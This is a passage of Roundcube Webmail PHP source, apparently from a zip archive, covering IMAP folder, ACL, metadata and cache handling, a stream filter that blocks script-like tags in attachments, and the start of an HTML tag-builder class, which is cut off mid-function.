        $acl       = $this->get_capability('ACL');
        $namespace = $this->get_namespace();
        $options   = ['is_root' => false];

        // check if the folder is a namespace prefix
        if (!empty($namespace)) {
            $mbox = $folder . $this->delimiter;
            foreach ($namespace as $ns) {
                if (!empty($ns)) {
                    foreach ($ns as $item) {
                        if ($item[0] === $mbox) {
                            $options['is_root'] = true;
                            break 2;
                        }
                    }
                }
            }
        }
        // check if the folder is other user virtual-root
        if ($options['is_root'] && !empty($namespace) && !empty($namespace['other'])) {
            $parts = explode($this->delimiter, $folder);
            if (count($parts) == 2) {
                $mbox = $parts[0] . $this->delimiter;
                foreach ($namespace['other'] as $item) {
                    if ($item[0] === $mbox) {
                        $options['is_root'] = true;
                        break;
                    }
                }
            }
        }

        $options['name']       = $folder;
        $options['attributes'] = $this->folder_attributes($folder, true);
        $options['namespace']  = $this->folder_namespace($folder);
        $options['special']    = $this->is_special_folder($folder);
        $options['noselect']   = false;

        // Set 'noselect' flag
        if (is_array($options['attributes'])) {
            foreach ($options['attributes'] as $attrib) {
                $attrib = strtolower($attrib);
                if ($attrib == '\noselect' || $attrib == '\nonexistent') {
                    $options['noselect'] = true;
                }
            }
        }
        else {
            $options['noselect'] = true;
        }

        // Get folder rights (MYRIGHTS)
        if ($acl && ($rights = $this->my_rights($folder))) {
            $options['rights'] = $rights;
        }

        // Set 'norename' flag
        if (!empty($options['rights'])) {
            $rfc_4314 = is_array($this->get_capability('RIGHTS'));
            $options['norename'] = ($rfc_4314 && !in_array('x', $options['rights']))
                                || (!$rfc_4314 && !in_array('d', $options['rights']));

            if (!$options['noselect']) {
                $options['noselect'] = !in_array('r', $options['rights']);
            }
        }
        else {
            $options['norename'] = $options['is_root'] || $options['namespace'] != 'personal';
        }

        // update caches
        $this->icache['options'] = $options;
        $this->update_cache($cache_key, $options);

        return $options;
    }

    /**
     * Synchronizes messages cache.
     *
     * @param string $folder Folder name
     */
    public function folder_sync($folder)
    {
        if ($mcache = $this->get_mcache_engine()) {
            $mcache->synchronize($folder);
        }
    }

    /**
     * Check if the folder name is valid
     *
     * @param string $folder Folder name (UTF-8)
     * @param string &$char  First forbidden character found
     *
     * @return bool True if the name is valid, False otherwise
     */
    public function folder_validate($folder, &$char = null)
    {
        if (parent::folder_validate($folder, $char)) {
            $vendor = $this->get_vendor();
            $regexp = '\\x00-\\x1F\\x7F%*';

            if ($vendor == 'cyrus') {
                // List based on testing Kolab's Cyrus-IMAP 2.5
                $regexp .= '!`@(){}|\\?<;"';
            }

            if (!preg_match("/[$regexp]/", $folder, $m)) {
                return true;
            }

            $char = $m[0];
        }

        return false;
    }

    /**
     * Get message header names for rcube_imap_generic::fetchHeader(s)
     *
     * @return string Space-separated list of header names
     */
    protected function get_fetch_headers()
    {
        if (!empty($this->options['fetch_headers'])) {
            $headers = explode(' ', $this->options['fetch_headers']);
        }
        else {
            $headers = [];
        }

        if ($this->messages_caching || !empty($this->options['all_headers'])) {
            $headers = array_merge($headers, $this->all_headers);
        }

        return $headers;
    }


    /* -----------------------------------------
     *   ACL and METADATA/ANNOTATEMORE methods
     * ----------------------------------------*/

    /**
     * Changes the ACL on the specified folder (SETACL)
     *
     * @param string $folder  Folder name
     * @param string $user    User name
     * @param string $acl     ACL string
     *
     * @return bool True on success, False on failure
     * @since 0.5-beta
     */
    public function set_acl($folder, $user, $acl)
    {
        if (!$this->get_capability('ACL')) {
            return false;
        }

        if (!$this->check_connection()) {
            return false;
        }

        $this->clear_cache(rcube_cache::key_name('mailboxes.folder-info', [$folder]));

        return $this->conn->setACL($folder, $user, $acl);
    }

    /**
     * Removes any <identifier,rights> pair for the
     * specified user from the ACL for the specified
     * folder (DELETEACL)
     *
     * @param string $folder  Folder name
     * @param string $user    User name
     *
     * @return bool True on success, False on failure
     * @since 0.5-beta
     */
    public function delete_acl($folder, $user)
    {
        if (!$this->get_capability('ACL')) {
            return false;
        }

        if (!$this->check_connection()) {
            return false;
        }

        return $this->conn->deleteACL($folder, $user);
    }

    /**
     * Returns the access control list for folder (GETACL)
     *
     * @param string $folder Folder name
     *
     * @return array User-rights array on success, NULL on error
     * @since 0.5-beta
     */
    public function get_acl($folder)
    {
        if (!$this->get_capability('ACL')) {
            return null;
        }

        if (!$this->check_connection()) {
            return null;
        }

        return $this->conn->getACL($folder);
    }

    /**
     * Returns information about what rights can be granted to the
     * user (identifier) in the ACL for the folder (LISTRIGHTS)
     *
     * @param string $folder  Folder name
     * @param string $user    User name
     *
     * @return array List of user rights
     * @since 0.5-beta
     */
    public function list_rights($folder, $user)
    {
        if (!$this->get_capability('ACL')) {
            return null;
        }

        if (!$this->check_connection()) {
            return null;
        }

        return $this->conn->listRights($folder, $user);
    }

    /**
     * Returns the set of rights that the current user has to
     * folder (MYRIGHTS)
     *
     * @param string $folder Folder name
     *
     * @return array MYRIGHTS response on success, NULL on error
     * @since 0.5-beta
     */
    public function my_rights($folder)
    {
        if (!$this->get_capability('ACL')) {
            return null;
        }

        if (!$this->check_connection()) {
            return null;
        }

        return $this->conn->myRights($folder);
    }

    /**
     * Sets IMAP metadata/annotations (SETMETADATA/SETANNOTATION)
     *
     * @param string $folder  Folder name (empty for server metadata)
     * @param array  $entries Entry-value array (use NULL value as NIL)
     *
     * @return bool True on success, False on failure
     * @since 0.5-beta
     */
    public function set_metadata($folder, $entries)
    {
        if (!$this->check_connection()) {
            return false;
        }

        $this->clear_cache('mailboxes.metadata.', true);

        if ($this->get_capability('METADATA') ||
            (!is_string($folder) || !strlen($folder) && $this->get_capability('METADATA-SERVER'))
        ) {
            return $this->conn->setMetadata($folder, $entries);
        }

        if ($this->get_capability('ANNOTATEMORE') || $this->get_capability('ANNOTATEMORE2')) {
            foreach ((array)$entries as $entry => $value) {
                list($ent, $attr) = $this->md2annotate($entry);
                $entries[$entry] = [$ent, $attr, $value];
            }

            return $this->conn->setAnnotation($folder, $entries);
        }

        return false;
    }

    /**
     * Unsets IMAP metadata/annotations (SETMETADATA/SETANNOTATION)
     *
     * @param string $folder  Folder name (empty for server metadata)
     * @param array  $entries Entry names array
     *
     * @return bool True on success, False on failure
     * @since 0.5-beta
     */
    public function delete_metadata($folder, $entries)
    {
        if (!$this->check_connection()) {
            return false;
        }

        $this->clear_cache('mailboxes.metadata.', true);

        if ($this->get_capability('METADATA') ||
            (!is_string($folder) || !strlen($folder) && $this->get_capability('METADATA-SERVER'))
        ) {
            return $this->conn->deleteMetadata($folder, $entries);
        }

        if ($this->get_capability('ANNOTATEMORE') || $this->get_capability('ANNOTATEMORE2')) {
            foreach ((array)$entries as $idx => $entry) {
                list($ent, $attr) = $this->md2annotate($entry);
                $entries[$idx] = [$ent, $attr, null];
            }

            return $this->conn->setAnnotation($folder, $entries);
        }

        return false;
    }

    /**
     * Returns IMAP metadata/annotations (GETMETADATA/GETANNOTATION)
     *
     * @param string  $folder   Folder name (empty for server metadata)
     * @param array   $entries  Entries
     * @param array   $options  Command options (with MAXSIZE and DEPTH keys)
     * @param bool    $force    Disables cache use
     *
     * @return array Metadata entry-value hash array on success, NULL on error
     * @since 0.5-beta
     */
    public function get_metadata($folder, $entries, $options = [], $force = false)
    {
        $entries = (array) $entries;

        if (!$force) {
            $cache_key = rcube_cache::key_name('mailboxes.metadata', [$folder, $options, $entries]);

            // get cached data
            $cached_data = $this->get_cache($cache_key);

            if (is_array($cached_data)) {
                return $cached_data;
            }
        }

        if (!$this->check_connection()) {
            return null;
        }

        if ($this->get_capability('METADATA') ||
            (!is_string($folder) || !strlen($folder) && $this->get_capability('METADATA-SERVER'))
        ) {
            $res = $this->conn->getMetadata($folder, $entries, $options);
        }
        else if ($this->get_capability('ANNOTATEMORE') || $this->get_capability('ANNOTATEMORE2')) {
            $queries = [];
            $res     = [];

            // Convert entry names
            foreach ($entries as $entry) {
                list($ent, $attr) = $this->md2annotate($entry);
                $queries[$attr][] = $ent;
            }

            // @TODO: Honor MAXSIZE and DEPTH options
            foreach ($queries as $attrib => $entry) {
                $result = $this->conn->getAnnotation($folder, $entry, $attrib);

                // an error, invalidate any previous getAnnotation() results
                if (!is_array($result)) {
                    return null;
                }

                foreach ($result as $fldr => $data) {
                    $res[$fldr] = array_merge((array) $res[$fldr], $data);
                }
            }
        }

        if (isset($res)) {
            if (!$force && !empty($cache_key)) {
                $this->update_cache($cache_key, $res);
            }

            return $res;
        }
    }

    /**
     * Converts the METADATA extension entry name into the correct
     * entry-attrib names for older ANNOTATEMORE version.
     *
     * @param string $entry Entry name
     *
     * @return array Entry-attribute list, NULL if not supported (?)
     */
    protected function md2annotate($entry)
    {
        if (substr($entry, 0, 7) == '/shared') {
            return [substr($entry, 7), 'value.shared'];
        }
        else if (substr($entry, 0, 8) == '/private') {
            return [substr($entry, 8), 'value.priv'];
        }

        // @TODO: log error
    }


    /* --------------------------------
     *   internal caching methods
     * --------------------------------*/

    /**
     * Enable or disable indexes caching
     *
     * @param string $type Cache type (@see rcube::get_cache)
     */
    public function set_caching($type)
    {
        if ($type) {
            $this->caching = $type;
        }
        else {
            if ($this->cache) {
                $this->cache->close();
            }
            $this->cache   = null;
            $this->caching = false;
        }
    }

    /**
     * Getter for IMAP cache object
     */
    protected function get_cache_engine()
    {
        if ($this->caching && !$this->cache) {
            $rcube = rcube::get_instance();
            $ttl   = $rcube->config->get('imap_cache_ttl', '10d');
            $this->cache = $rcube->get_cache('IMAP', $this->caching, $ttl);
        }

        return $this->cache;
    }

    /**
     * Returns cached value
     *
     * @param string $key Cache key
     *
     * @return mixed
     */
    public function get_cache($key)
    {
        if ($cache = $this->get_cache_engine()) {
            return $cache->get($key);
        }
    }

    /**
     * Update cache
     *
     * @param string $key  Cache key
     * @param mixed  $data Data
     */
    public function update_cache($key, $data)
    {
        if ($cache = $this->get_cache_engine()) {
            $cache->set($key, $data);
        }
    }

    /**
     * Clears the cache.
     *
     * @param string  $key         Cache key name or pattern
     * @param bool    $prefix_mode Enable it to clear all keys starting
     *                             with prefix specified in $key
     */
    public function clear_cache($key = null, $prefix_mode = false)
    {
        if ($cache = $this->get_cache_engine()) {
            $cache->remove($key, $prefix_mode);
        }
    }


    /* --------------------------------
     *   message caching methods
     * --------------------------------*/

    /**
     * Enable or disable messages caching
     *
     * @param bool $set  Flag
     * @param int  $mode Cache mode
     */
    public function set_messages_caching($set, $mode = null)
    {
        if ($set) {
            $this->messages_caching = true;

            if ($mode && ($cache = $this->get_mcache_engine())) {
                $cache->set_mode($mode);
            }
        }
        else {
            if ($this->mcache) {
                $this->mcache->close();
            }
            $this->mcache = null;
            $this->messages_caching = false;
        }
    }

    /**
     * Getter for messages cache object
     */
    protected function get_mcache_engine()
    {
        if ($this->messages_caching && !$this->mcache) {
            $rcube = rcube::get_instance();
            if (($dbh = $rcube->get_dbh()) && ($userid = $rcube->get_user_id())) {
                $ttl       = $rcube->config->get('messages_cache_ttl', '10d');
                $threshold = $rcube->config->get('messages_cache_threshold', 50);
                $this->mcache = new rcube_imap_cache(
                    $dbh, $this, $userid, $this->options['skip_deleted'], $ttl, $threshold);
            }
        }

        return $this->mcache;
    }

    /**
     * Clears the messages cache.
     *
     * @param string $folder Folder name
     * @param array  $uids   Optional message UIDs to remove from cache
     */
    protected function clear_message_cache($folder = null, $uids = null)
    {
        if ($mcache = $this->get_mcache_engine()) {
            $mcache->clear($folder, $uids);
        }
    }

    /**
     * Delete outdated cache entries
     */
    function cache_gc()
    {
        rcube_imap_cache::gc();
    }


    /* --------------------------------
     *         protected methods
     * --------------------------------*/

    /**
     * Determines if server supports dual use folders (those can
     * contain both sub-folders and messages).
     *
     * @return bool
     */
    protected function detect_dual_use_folders()
    {
        $val = rcube::get_instance()->config->get('imap_dual_use_folders');
        if ($val !== null) {
            return (bool) $val;
        }

        if (!$this->check_connection()) {
            return false;
        }

        $folder    = str_replace('.', '', 'foldertest' . microtime(true));
        $folder    = $this->mod_folder($folder, 'in');
        $subfolder = $folder . $this->delimiter . 'foldertest';

        if ($this->conn->createFolder($folder)) {
            if ($created = $this->conn->createFolder($subfolder)) {
                $this->conn->deleteFolder($subfolder);
            }

            $this->conn->deleteFolder($folder);

            return $created;
        }

        return false;
    }

    /**
     * Validate the given input and save to local properties
     *
     * @param string $sort_field Sort column
     * @param string $sort_order Sort order
     */
    protected function set_sort_order($sort_field, $sort_order)
    {
        if ($sort_field != null) {
            $this->sort_field = asciiwords($sort_field);
        }
        if ($sort_order != null) {
            $this->sort_order = strtoupper($sort_order) == 'DESC' ? 'DESC' : 'ASC';
        }
    }

    /**
     * Sort folders in alphabetical order. Optionally put special folders
     * first and other-users/shared namespaces last.
     *
     * @param array $a_folders    Folders list
     * @param bool  $skip_special Skip special folders handling
     *
     * @return array Sorted list
     */
    public function sort_folder_list($a_folders, $skip_special = false)
    {
        $folders = [];

        // convert names to UTF-8
        foreach ($a_folders as $folder) {
            // for better performance skip encoding conversion
            // if the string does not look like UTF7-IMAP
            $folders[$folder] = strpos($folder, '&') === false ? $folder : rcube_charset::convert($folder, 'UTF7-IMAP');
        }

        // sort folders
        // asort($folders, SORT_LOCALE_STRING) is not properly sorting case sensitive names
        uasort($folders, [$this, 'sort_folder_comparator']);

        $folders = array_keys($folders);

        if ($skip_special || empty($folders)) {
            return $folders;
        }

        // Collect special folders and non-personal namespace roots
        $specials = array_merge(['INBOX'], array_values($this->get_special_folders()));
        $ns_roots = [];

        foreach (['other', 'shared'] as $ns_name) {
            if ($ns = $this->get_namespace($ns_name)) {
                foreach ($ns as $root) {
                    if (isset($root[0]) && strlen($root[0])) {
                        $ns_roots[rtrim($root[0], $root[1])] = $root[0];
                    }
                }
            }
        }

        // Force the type of folder name variable (#1485527)
        $folders = array_map('strval', $folders);
        $out     = [];

        // Put special folders on top...
        $specials = array_unique(array_intersect($specials, $folders));
        $folders  = array_merge($specials, array_diff($folders, $specials));

        // ... and rebuild the list to move their subfolders where they belong
        $this->sort_folder_specials(null, $folders, $specials, $out);

        // Put other-user/shared namespaces at the end
        if (!empty($ns_roots)) {
            $folders = [];
            foreach ($out as $folder) {
                foreach ($ns_roots as $root => $prefix) {
                    if ($folder === $root || strpos($folder, $prefix) === 0) {
                        $folders[] = $folder;
                    }
                }
            }

            if (!empty($folders)) {
                $out = array_merge(array_diff($out, $folders), $folders);
            }
        }

        return $out;
    }

    /**
     * Recursive function to put subfolders of special folders in place
     */
    protected function sort_folder_specials($folder, &$list, &$specials, &$out)
    {
        $count = count($list);

        for ($i = 0; $i < $count; $i++) {
            $name = $list[$i];
            if ($name === null) {
                continue;
            }

            if ($folder === null || strpos($name, $folder.$this->delimiter) === 0) {
                $out[] = $name;
                $list[$i] = null;

                if (!empty($specials) && ($found = array_search($name, $specials)) !== false) {
                    unset($specials[$found]);
                    $this->sort_folder_specials($name, $list, $specials, $out);
                }
            }
        }
    }

    /**
     * Callback for uasort() that implements correct
     * locale-aware case-sensitive sorting
     */
    protected function sort_folder_comparator($str1, $str2)
    {
        if ($this->sort_folder_collator === null) {
            $this->sort_folder_collator = false;

            // strcoll() does not work with UTF8 locale on Windows,
            // use Collator from the intl extension
            if (stripos(PHP_OS, 'win') === 0 && function_exists('collator_compare')) {
                $locale = $this->options['language'] ?: 'en_US';
                $this->sort_folder_collator = collator_create($locale) ?: false;
            }
        }

        $path1 = explode($this->delimiter, $str1);
        $path2 = explode($this->delimiter, $str2);

        $len = max(count($path1), count($path2));

        for ($idx = 0; $idx < $len; $idx++) {
            $folder1 = $path1[$idx] ?? '';
            $folder2 = $path2[$idx] ?? '';

            if ($folder1 === $folder2) {
                continue;
            }

            if ($this->sort_folder_collator) {
                return collator_compare($this->sort_folder_collator, $folder1, $folder2);
            }

            return strcoll($folder1, $folder2);
        }
    }

    /**
     * Find UID of the specified message sequence ID
     *
     * @param int    $id     Message (sequence) ID
     * @param string $folder Folder name
     *
     * @return int Message UID
     */
    public function id2uid($id, $folder = null)
    {
        if (!is_string($folder) || !strlen($folder)) {
            $folder = $this->folder;
        }

        if (!$this->check_connection()) {
            return null;
        }

        return $this->conn->ID2UID($folder, $id);
    }

    /**
     * Subscribe/unsubscribe a list of folders and update local cache
     */
    protected function change_subscription($folders, $mode)
    {
        $updated = 0;
        $folders = (array) $folders;

        if (!empty($folders)) {
            if (!$this->check_connection()) {
                return false;
            }

            foreach ($folders as $folder) {
                $updated += (int) $this->conn->{$mode}($folder);
            }
        }

        // clear cached folders list(s)
        if ($updated) {
            $this->clear_cache('mailboxes', true);
        }

        return $updated == count($folders);
    }

    /**
     * Increase/decrease messagecount for a specific folder
     */
    protected function set_messagecount($folder, $mode, $increment)
    {
        if (!is_numeric($increment)) {
            return false;
        }

        $mode = strtoupper($mode);
        $a_folder_cache = $this->get_cache('messagecount');

        if (
            !isset($a_folder_cache[$folder])
            || !is_array($a_folder_cache[$folder])
            || !isset($a_folder_cache[$folder][$mode])
        ) {
            return false;
        }

        // add incremental value to messagecount
        $a_folder_cache[$folder][$mode] += $increment;

        // there's something wrong, delete from cache
        if ($a_folder_cache[$folder][$mode] < 0) {
            unset($a_folder_cache[$folder][$mode]);
        }

        // write back to cache
        $this->update_cache('messagecount', $a_folder_cache);

        return true;
    }

    /**
     * Remove messagecount of a specific folder from cache
     */
    protected function clear_messagecount($folder, $mode = [])
    {
        $a_folder_cache = $this->get_cache('messagecount');

        if (isset($a_folder_cache[$folder]) && is_array($a_folder_cache[$folder])) {
            if (!empty($mode)) {
                foreach ((array) $mode as $key) {
                    unset($a_folder_cache[$folder][$key]);
                }
            }
            else {
                unset($a_folder_cache[$folder]);
            }

            $this->update_cache('messagecount', $a_folder_cache);
        }
    }

    /**
     * Converts date string/object into IMAP date/time format
     */
    protected function date_format($date)
    {
        if (empty($date)) {
            return null;
        }

        if (!is_object($date) || !is_a($date, 'DateTime')) {
            try {
                $timestamp = rcube_utils::strtotime($date);
                $date      = new DateTime("@".$timestamp);
            }
            catch (Exception $e) {
                return null;
            }
        }

        return $date->format('d-M-Y H:i:s O');
    }

    /**
     * Remember state of the IMAP connection (last IMAP command).
     * Use e.g. if you want to execute more commands and ignore results of these.
     *
     * @return array Connection state
     */
    protected function save_conn_state()
    {
        return [
            $this->conn->error,
            $this->conn->errornum,
            $this->conn->resultcode,
        ];
    }

    /**
     * Restore saved connection state.
     *
     * @param array $state Connection result
     */
    protected function restore_conn_state($state)
    {
        list($this->conn->error, $this->conn->errornum, $this->conn->resultcode) = $state;
    }

    /**
     * This is our own debug handler for the IMAP connection
     */
    public function debug_handler($imap, $message)
    {
        rcube::write_log('imap', $message);
    }
}
PK
h�\�[}55.program/lib/Roundcube/rcube_content_filter.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   PHP stream filter to detect evil content in mail attachments        |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * PHP stream filter to detect html/javascript code in attachments
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_content_filter extends php_user_filter
{
    private $buffer = '';
    private $cutoff = 2048;

    public function onCreate(): bool
    {
        $this->cutoff = rand(2048, 3027);
        return true;
    }

    #[ReturnTypeWillChange]
    public function filter($in, $out, &$consumed, $closing)
    {
        while ($bucket = stream_bucket_make_writeable($in)) {
            $this->buffer .= $bucket->data;

            // check for evil content and abort
            if (preg_match('/<(script|iframe|object)/i', $this->buffer)) {
                return PSFS_ERR_FATAL;
            }

            // keep buffer small enough
            if (strlen($this->buffer) > 4096) {
                $this->buffer = substr($this->buffer, $this->cutoff);
            }

            $consumed += $bucket->datalen;
            stream_bucket_append($out, $bucket);
        }

        return PSFS_PASS_ON;
    }
}
PK
h�\�|�8RqRqprogram/lib/Roundcube/html.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Helper class to create valid XHTML code                             |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Class for HTML code creation
 *
 * @package    Framework
 * @subpackage View
 */
class html
{
    protected $tagname;
    protected $content;
    protected $attrib  = [];
    protected $allowed = [];

    public static $doctype = 'xhtml';
    public static $lc_tags = true;
    public static $common_attrib = ['id','class','style','title','align','unselectable','tabindex','role'];
    public static $containers    = ['iframe','div','span','p','h1','h2','h3','ul','form','textarea','table','thead','tbody','tr','th','td','style','script','a'];
    public static $bool_attrib   = ['checked','multiple','disabled','selected','autofocus','readonly','required'];


    /**
     * Constructor
     *
     * @param array $attrib Hash array with tag attributes
     */
    public function __construct($attrib = [])
    {
        if (is_array($attrib)) {
            $this->attrib = $attrib;
        }
    }

    /**
     * Return the tag code
     *
     * @return string The finally composed HTML tag
     */
    public function show()
    {
        return self::tag($this->tagname, $this->attrib, $this->content, array_merge(self::$common_attrib, $this->allowed));
    }

    /****** STATIC METHODS *******/

    /**
     * Generic method to create a HTML tag
     *
     * @param string $tagname Tag name
     * @param array  $attrib  Tag attributes as key/value pairs
     * @param string $content Optional Tag content (creates a container tag)
     * @param array  $allowed List with allowed attributes, omit to allow all
     *
     * @return string The XHTML tag
     */
    public static function tag($tagname, $attrib = [], $content = null, $allowed = null)
    {
        if (is_string($attrib)) {
            $attrib = ['class' => $attrib];
        }

        $inline_tags = ['a', 'span', 'img'];
        $suffix = (isset($attrib['nl']) && $content && $attrib['nl'] && !in_array($tagname, $inline_tags)) ? "\n" : '';

        $tagname = self::$lc_tags ? strtolower($tagname) : $tagname;
        if (isset($content) || in_array($tagname, self::$containers)) {
            $suffix = !empty($attrib['noclose']) ? $suffix : '</' . $tagname . '>' . $suffix;
            unset($attrib['noclose'], $attrib['nl']);
            return '<' . $tagname  . self::attrib_string($attrib, $allowed) . '>' . $content . $suffix;
        }
        else {
            return '<' . $tagname  . self::attrib_string($attrib, $allowed) . '>' . $suffix;
        }
    }

    /**
     * Return DOCTYPE tag of specified type
     *
     * @param string $type Document type (html5, xhtml, 'xhtml-trans, xhtml-strict)
     */
    public static function doctype($type)
    {
        $doctypes = [
            'html5'        => '<!DOCTYPE html>',
            'xhtml'        => '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">',
            'xhtml-trans'  => '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">',
            'xhtml-strict' => '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">',
        ];

        if (!empty($doctypes[$type])) {
            self::$doctype = preg_replace('/-\w+$/', '', $type);
            return $doctypes[$type];
        }

        return '';
    }

    /**
     * Derived method for <div> containers
     *
     * @param mixed  $attr Hash array with tag attributes or string with class name
     * @param string $cont Div content
     *
     * @return string HTML code
     * @see html::tag()
     */
    public static function div($attr = null, $cont = null)
    {
        if (is_string($attr)) {
            $attr = ['class' => $attr];
        }

        return self::tag('div', $attr, $cont, array_merge(self::$common_attrib, ['onclick']));
    }

    /**
     * Derived method for <p> blocks
     *
     * @param mixed  $attr Hash array with tag attributes or string with class name
     * @param string $cont Paragraph content
     *
     * @return string HTML code
     * @see html::tag()
     */
    public static function p($attr = null, $cont = null)
    {
        if (is_string($attr)) {
            $attr = ['class' => $attr];
        }

        return self::tag('p', $attr, $cont, self::$common_attrib);
    }

    /**
     * Derived method to create <img />
     *
     * @param string|array $attr Hash array with tag attributes or string with image source (src)
     *
     * @return string HTML code
     * @see html::tag()
     */
    public static function img($attr = null)
    {
        if (is_string($attr)) {
            $attr = ['src' => $attr];
        }

        $allowed = ['src','alt','width','height','border','usemap','onclick','onerror','onload'];

        return self::tag('img', $attr + ['alt' => ''], null, array_merge(self::$common_attrib, $allowed));
    }

    /**
     * Derived method for link tags
     *
     * @param string|array $attr Hash array with tag attributes or string with link location (href)
     * @param string       $cont Link content
     *
     * @return string HTML code
     * @see html::tag()
     */
    public static function a($attr, $cont)
    {
        if (is_string($attr)) {
            $attr = ['href' => $attr];
        }

        $allowed = ['href','target','name','rel','onclick','onmouseover','onmouseout','onmousedown','onmouseup'];

        return self::tag('a', $attr, $cont, array_merge(self::$common_attrib, $allowed));
    }

    /**
     * Derived method for inline span tags
     *
     * @param string|array $attr Hash array with tag attributes or string with class name
     * @param string       $cont Tag content
     *
     * @return string HTML code
     * @see html::tag()
     */
    public static function span($attr, $cont)
    {
        if (is_string($attr)) {
            $attr = ['class' => $attr];
        }

        return self::tag('span', $attr, $cont, self::$common_attrib);
    }

    /**
     * Derived method for form element labels
     *
     * @param string|array $attr Hash array with tag attributes or string with 'for' attrib
     * @param string       $cont Tag content
     *
     * @return string HTML code
     * @see html::tag()
     */
    public static function label($attr, $cont)
    {
        if (is_string($attr)) {
            $attr = ['for' => $attr];
        }

        return self::tag('label', $attr, $cont, array_merge(self::$common_attrib, ['for','onkeypress']));
    }

    /**
     * Derived method to create <iframe></iframe>
     *
     * @param string|array $attr Hash array with tag attributes or string with frame source (src)
     * @param string       $cont Tag content
     *
     * @return string HTML code
     * @see html::tag()
     */
    public static function iframe($attr = null, $cont = null)
    {
        if (is_string($attr)) {
            $attr = ['src' => $attr];
        }

        $allowed = ['src','name','width','height','border','frameborder','onload','allowfullscreen'];

        return self::tag('iframe', $attr, $cont, array_merge(self::$common_attrib, $allowed));
    }

    /**
     * Derived method to create <script> tags
     *
     * @param string|array $attr Hash array with tag attributes or string with script source (src)
     * @param string       $cont Javascript code to be placed as tag content
     *
     * @return string HTML code
     * @see html::tag()
     */
    public static function script($attr, $cont = null)
    {
        if (is_string($attr)) {
            $attr = ['src' => $attr];
        }

        if ($cont) {
            if (self::$doctype == 'xhtml') {
                $cont = "/* <![CDATA[ */\n{$cont}\n/* ]]> */";
            }

            $cont = "\n{$cont}\n";
        }

        if (self::$doctype == 'xhtml') {
            $attr += ['type' => 'text/javascript'];
        }

        return self::tag('script', $attr + ['nl' => true], $cont,
            array_merge(self::$common_attrib, ['src', 'type', 'charset']));
    }

    /**
     * Derived method for line breaks
     *
     * @param array $attrib Associative array with tag attributes
     *
     * @return string HTML code
     * @see html::tag()
     */
    public static function br($attrib = [])
    {
        return self::tag('br', $attrib);
    }

    /**
     * Create string with attributes
     *
     * @param array $attrib  Associative array with tag attributes
     * @param array $allowed List of allowed attributes
     *
     * @return string Valid attribute string
     */
    public static function attrib_string($attrib = [], $allowed = null)
    {
        if (empty($attrib)) {
            return '';
        }

        $allowed_f  = array_flip((array) $allowed);
        $attrib_arr = [];

        foreach ($attrib as $key => $value) {
            // skip size if not numeric
            if ($key == 'size' && !is_numeric($value)) {
                continue;
            }

            // ignore "internal" or empty attributes
            if ($key == 'nl' || $value === null) {
                continue;
            }

            // ignore not allowed attributes, except aria-* and data-*
            if (!empty($allowed)) {
                $is_data_attr = @substr_compare($key, 'data-', 0, 5) === 0;
                $is_aria_attr = @substr_compare($key, 'aria-', 0, 5) === 0;
                if (!$is_aria_attr && !$is_data_attr && !isset($allowed_f[$key])) {
                    continue;
                }
            }

            // skip empty eventhandlers
            if (preg_match('/^on[a-z]+/', $key) && !$value) {
                continue;
            }

            // attributes with no value
            if (in_array($key, self::$bool_attrib)) {
                if (!empty($value)) {
                    $value = $key;
                    if (self::$doctype == 'xhtml') {
                        $value .= '="' . $value . '"';
                    }

                    $attrib_arr[] = $value;
                }
            }
            else {
                $attrib_arr[] = $key . '="' . self::quote((string) $value) . '"';
            }
        }

        return count($attrib_arr) ? ' '.implode(' ', $attrib_arr) : '';
    }

    /**
     * Convert a HTML attribute string attributes to an associative array (name => value)
     *
     * @param string $str Input string
     *
     * @return array Key-value pairs of parsed attributes
     */
    public static function parse_attrib_string($str)
    {
        $attrib = [];
        $html   = '<html>'
            . '<head><meta http-equiv="Content-Type" content="text/html; charset=' . RCUBE_CHARSET . '" /></head>'
            . '<body><div ' . rtrim($str, '/ ') . ' /></body>'
            . '</html>';

        $document = new DOMDocument('1.0', RCUBE_CHARSET);
        @$document->loadHTML($html);

        if ($node = $document->getElementsByTagName('div')->item(0)) {
            foreach ($node->attributes as $name => $attr) {
                $attrib[strtolower($name)] = $attr->nodeValue;
            }
        }

        return $attrib;
    }

    /**
     * Replacing specials characters in html attribute value
     *
     * @param string $str Input string
     *
     * @return string The quoted string
     */
    public static function quote($str)
    {
        // PHP8 does not like e.g. an array as htmlspecialchars() argument
        if (!is_string($str)) {
            return (string) $str;
        }

        return @htmlspecialchars($str, ENT_COMPAT | ENT_SUBSTITUTE, RCUBE_CHARSET);
    }
}


/**
 * Class to create an HTML input field
 *
 * @package    Framework
 * @subpackage View
 */
class html_inputfield extends html
{
    protected $tagname = 'input';
    protected $type    = 'text';
    protected $allowed = [
        'type','name','value','size','tabindex','autocapitalize','required',
        'autocomplete','checked','onchange','onclick','disabled','readonly',
        'spellcheck','results','maxlength','src','multiple','accept',
        'placeholder','autofocus','pattern','oninput'
    ];

    /**
     * Object constructor
     *
     * @param array $attrib Associative array with tag attributes
     */
    public function __construct($attrib = [])
    {
        if (is_array($attrib)) {
            $this->attrib = $attrib;
        }

        if (!empty($attrib['type'])) {
